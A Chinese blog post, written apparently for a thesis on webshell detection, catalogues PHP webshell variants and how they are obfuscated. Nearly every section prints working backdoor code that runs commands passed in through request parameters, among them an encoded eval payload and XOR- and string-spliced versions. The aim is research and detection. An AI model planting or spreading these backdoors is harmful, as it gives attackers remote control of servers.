webshell
一.何为webshell
黑客通过一定途径将webshell上传至服务器具有执行权限(必须要有执行权限才可以,没有执行权限是没有用的)的WEB目录下。远程访问webshell实现控制服务器的目的。
一般来说webshell满足以下几个条件:
1.黑客上传的(不研究网站管理人员留下的)
2.服务器要开启web服务(不然没法访问)
3.脚本语言(php, python, asp, jsp等等,有人还问我有没有c, java…需要编译的语言不太方便执行吧)
其他的暂时不列举。
如何上传webshell,可以参考Webshell。
一般从github下下来的webshell可分为大马和小马。小马通常代码不多,基本上是通过各种各样的方式执行恶意代码,比如
<?php eval($_POST['a']); ?>
该脚本上传后黑客发送post命令将a参数的值设置为恶意php代码(比如打开shell等等)让服务器执行恶意代码。
大马通常代码非常大,功能齐全,包括恶意命令执行,文件删除,新建文件,数据库增删改查等等。通常没有混淆,但是if-else特别多。大马就不举例子了。
二.常见小马探索
因为论文写webshell检测,不得不统计一些webshell特征。虽然关于如何用机器学习方法检测webshell的帖子,论文不少,但很少有论文统计过webshell特点,而小马的混淆方式又非常多,索性来探索下。
关于php常见后门函数PHP常见代码执行后门函数(例如eval和assert)
关于php回调后门PHP的回调后门
关于webshell的混淆可以参考关于PHP中的webshell
1.直接型
<?php eval(gzinflate(str_rot13(base64_decode('rUp6Yts2EP68APkPDHhANppV7pZvg3B7zRxsZNvYmeUMA5JAoCTacyORglXF8YL89x0pyS/Ny9KiToDY9/rcw+MdULNZcX5TRpEpxnT1c+N1aodaRH2PVlZIveZ7rucNU8NYKyBfyI1o3XX8Z7+7RrtykqlD5FyhDneCRnpOA/ioHcZ/u+NYfDqZnPunI2KCr7Wa8S9b6rH714XrWvyL8aAwCFG0BAtZIoKWhM8Qa9BDoSuuUHh/rM0kmdKkGUQw/cA483SA0tJPPxERtUn4SoYNZ1+TNMwzppYQ3jvuu/7Z6MSFAKN+Hx897O7QS9IXrIZgcUXTLKVMBzLOhUfBkpOE1koVTMVf//jkcQw0lTXTGyUyCPKc09g9G1rcDaeEsLiOgXuREX7YPPww0xI7FAneVNiwhPfxKZEsU3/oIyEczZVXW45G8QSMSKVc8cE58nVpWDWIsoIrjkA6MPSKDMQVQXlDPzry8oTXUT2ya/vWMMSm9ap6/mcnl0kYC0Foy+iOkSLPT7rZA5bXGw/OJ35/8NkdHp+5lumDiFfFQ3R6aDLqXZy5w4k/Ho0m1rWNnVJtkIpR2Ok81T2R0YLUIsM+Kk80Csg/sG5Nr3eYSdEwYBTOBcJ6xUdZu4GY0RgdIG2XxoKptkaI207W1SWUtkYB91ayf3bnFxSKGA7nWr/ff++63UJHsRuCPDInAUToI4kYHD+fVviy9+oocie0EMtPO4hWa5NmaXTnEv3aeTZfH1MRBT4tJHuEZjqGirXvs/4/r/0hWhMMu9hesXTjthOsnHgg9GZ11A6ucBsOywcBnLAywm3Dxo3X5riQptacUh0TKUzCVIiwV25wNFsrdF8rN269Kp9hUFWIaHD6uXbKxmmYds5QxQRU6QKSIX0vwlJHzIdDi4pbR8s7RXJMKnFd6/ctxzKXyKj2tC6m3KgaB++0IqMqzzjSEhuMqx6935CbG03Kn1dkaPUtOcD6+SRyIlqZBZRyCVf0+AOmz/U+QMRj0MG4+zKhPZEkhFQVgXrG01whtVl2ByttpzDSHGpjmFFrW+vlTsLW+iIOU7ckzuE7/SfMFQUXVIPrTVTbYCmckYmS5LFvKcmUsTuIiCIV+KoiXdD/R2QBN55RqM9vdypktPWjguYsiigvAcsC/pbBFPxYtWFC/RWXOX8ror2Ib1UXxruFNk55xNeEFt7v3pdsOF3oDxiFMZGyo8iWUAGy1OFAregtCt6ianAzdcYurcK52g258YiYXkXp+hrs1QyOyqeEA0H3U25piV4e3qVIRG9dg50xMq2YiFvqF9F25HiD+pMuKlb9wg3WxwqNetKUYH5VKF16MVeqroDlQSM9Gh5DsUjQlt7Lw5BXiRSI7K/Dwfx3nSB8hB7MhXtRZdn3FctjWgxypTKJzMItJ1ua0e4LIx/bZUHj2KdqNKzrVXOwFVrkdV+8NV22nwHJGoIoMawV3wtOfBMGmahn9RKBzwBPH5hiFgxRgAUjbt/YDvzC8wJRRjYzD4xTBdD4er6D0Grgtm+JDm9vPQe9iBgCHLpoow+/CvqRLFZZ5uh2E2bpB8OT0RPqxZwp2h263uAYvZDgRt5pVxga2+/d3Z1pzPgNGrufbr6ejsaT3sUEDW3w2k6ncLffweUzZ7FL2GPx88TOBLQfg7fYAeMRPAUlI/oh62sJQ7+UQVGnBFOsE/h4/Yxa9eTQqWB56f8JgkyBDL92mh+t1orufw==')))); ?>
将恶意代码直接硬编码在代码里,解密后用eval执行。
2.通过反射类调用
<?php
$func = new ReflectionFunction("system");
echo $func->invokeArgs(array("$_GET[c]"));
?>
最终调用了system($_GET[c]);
3.通过排序函数调用
php5.4.8+中的assert能够接受两个参数
<?php
$arr = new ArrayObject(array('test' => 1, $_REQUEST['x'] => 2));
$arr->uksort('assert');
?>
相当于assert($_REQUEST['x'])
4.通过类的混淆
1.类的魔术方法
<?php
class PNLK{
function __destruct(){
$FQHZ='xk%uoq-jg/P^Rw]'^"\x1b\x19\x40\x14\x1b\x14\x72\xc\x12\x41\x33\x2a\x3b\x18\x33";
@$FQHZ=$FQHZ('',$this->PZAF);
return @$FQHZ();
}
}
$pnlk=new PNLK();
@$pnlk->PZAF=&$_POST['test'];
?>
在PNLK类的__destruct()
函数中,$FQHZ的值异或过后是create_function()
,这段代码的作用就是新建一个PNLK对象,然后PNLK对象的__destruct()
方法会在代码结束后自动执行。功能相当于
@$FQHZ = create_function('', $_POST['test']);
@$FQHZ();
这是类的__destruct()
方法,此外,new
一个对象时可以执行__construct()
方法,echo
一个对象时会执行_tostring()
方法,php的魔术方法也是需要注意的。比如
<?php
class Test
{
public function __toString()
{
$method='sysatem';
(substr($method,0,3).substr($method, 4))($_GET['arg']);
return '1';
}
}
$a=new Test();
echo $a;
?>
相当于system($_GET['arg'])
2.类的自定义方法
<?php
class Test
{
public function testing()
{
return function() {
$method='sysatem';
(substr($method,0,3).substr($method, 4))($_GET['arg']);
};
}
}
$a=new Test();
$b=$a->testing();
$b();
?>
这段代码就好懂多了,就相当于system($_GET['arg'])
3.通过反射获取类的注释
<?php
/**
* eva
* l($_GE
* T["c"]);
* asse
* rt
*/
class TestClass { }
$rc = new ReflectionClass('TestClass');
$str = $rc->getDocComment();
$evf=substr($str,strpos($str,'e'),3);
$evf=$evf.substr($str,strpos($str,'l'),6);
$evf=$evf.substr($str,strpos($str,'T'),8);
$fu=substr($str,strpos($str,'as'),4);
$fu=$fu.substr($str,strpos($str,'r'),2);
$fu($evf);
?>
最终相当于assert("eval($_GET['c'])")
4.反序列化
<?php
class Example
{
var $var = '';
function __destruct()
{
eval($this->var);
}
}
//$exp = new Example();
//$exp->var = "phpinfo();";
//die(serialize($exp));
unserialize($_GET['saved_code']);
?>
unserialize官方文档
若被解序列化的变量是一个对象,在成功地重新构造对象之后,PHP 会自动地试图去调用 __wakeup()
成员函数(如果存在的话)。而php脚本执行完成时会执行对象的__destruct()
方法。因此会触发恶意代码(eval
)执行。
5.通过函数的混淆
<?php
$greet = function(){
$method='system';
(substr($method,0,3).substr($method, 4))($_GET['arg']);
};
echo $greet();
?>
<?php
$greet = function(){
$method='sysatem';
(substr($method,0,3).substr($method, 4))($_GET['arg']);
};
$array['func']=$greet;
call_user_func($array['func']);
这2段代码相当于变相执行system($_GET['arg'])
6.普通的混淆
可以通过字符串变换(字符串变换,位运算,逻辑运算,正则替换等,base64,rot13等方法)
<?php
$xh = array('','s');
$xh1 = 'a'.$xh[1].'ser'.chr('116');
@$xh1($_POST['dike']);
?>
变相assert($_POST['dike'])
<?php
$qajd2="VDFOVVd5";
$vvnr1="UUdWMllX";$hitq5="d29KRjlR";$itfh2="ZGtabmg2Y1RRblhTazc=";// dfxzq4
$akmi4 = str_replace("eu2","","eu2seu2teu2reu2_reu2eeu2pleu2aeu2ce");// ulgp9
$hygg4 = $akmi4("so0", "", "so0baso0sso0e6so04so0_so0dso0eso0cso0oso0dso0e");// qbhm1
$gzsw5 = $akmi4("qik6","","qik6cqik6reqik6atqik6eqik6_fqik6uncqik6tqik6ioqik6n");// kfcs6
$foxl6 = $gzsw5('', $hygg4($hygg4($akmi4("$;*,.", "", $vvnr1.$hitq5.$qajd2.$itfh2))));
$foxl6();
?>
<?php
$_uU=chr(99).chr(104).chr(114);
$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);
$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);
$_=$_fF("",$_cC);
@$_();
?>
<?php
$__=("#"^"|"); // $__ = _
$__.=("."^"~"); // _P
$__.=("/"^"`"); // _PO
$__.=("|"^"/"); // _POS
$__.=("{"^"/"); // _POST
${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>
这3段代码最终等效于什么我也算不出了,但是可以看出来进行了多次字符串变换(str_replace
, 通过.
进行字符串拼接)以及通过变量名调用函数(webshell混淆常见特征)。
7.其他的隐藏方式
1.ob_start
ob_start('assert');
echo $_REQUEST['pass'];
ob_end_flush();
关于ob_start
函数,官方文档
原型ob_start ([ callable $output_callback = null [, int $chunk_size = 0 [, int $flags = PHP_OUTPUT_HANDLER_STDFLAGS ]]] ) : bool
,作用是打开输出缓冲
可以传入回调函数,返回值bool类型。
而output_callback
官方解释:
可选参数 output_callback
函数可以被指定。 此函数把一个字符串当作参数并返回一个字符串。 当输出缓冲区被( ob_flush()
, ob_clean()
或者相似的函数)冲刷(送出)或者被清洗的时候;或者在请求结束之际输出缓冲区内容被冲刷到浏览器的时候该函数将会被调用。 当调用 output_callback
时,它将收到输出缓冲区的内容作为参数并预期返回一个新的输出缓冲区作为结果,这个新返回的输出缓冲区内容将被送到浏览器。 如果这个output_callback
不是一个可以调用的函数,此函数会返回false
。
重点:
1.output_callback
传入1个参数
2.当调用ob_flush
或者ob_end_flush
等方法时output_callback
会被调用
3.output_callback
的参数是输出缓冲区的内容
所以上述代码会执行assert($_REQUEST['pass'])
2.register_shutdown_function
$e = $_REQUEST['e'];
register_shutdown_function($e, $_REQUEST['pass']);
register_shutdown_function
— 注册一个会在php中止时执行的函数,传入的第一个参数是要执行的函数,后面的参数是该函数的参数
3.回调函数
call_user_func('assert', $_REQUEST['pass']);
call_user_func_array('assert', array($_REQUEST['pass']));
4.数组
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, base64_decode($e))
5.反引号
反引号中,变量转义作为shell命令被执行:
官方文档
<?php
$output = `ls -al`;
echo "<pre>$output</pre>";
?>
相当于echo shell_exec("ls -al");
三.总结
本文列举了些webshell及其变种类型,这里所有的webshell的行为都是执行代码(assert
, eval
)或者命令(exec
, shell_exec
)。并没有讨论文件操作,数据库操作等行为类型。
这些webshell都有一个共同点,就是一定要有数据传入($_GET
, $_POST
等或者硬编码在php脚本里)以及数据执行(assert
, eval
显式调用或者隐式调用)。
以前总是忽略echo
,print
,虽然表面上只是输出,但是结合ob_start
, ob_flush
以及自定义类的_tostring()
方法还是可以做些文章,来执行代码或者命令。
这次就先统计这么多,下次列举以下它们的opcode特征,欢迎大佬们来补充。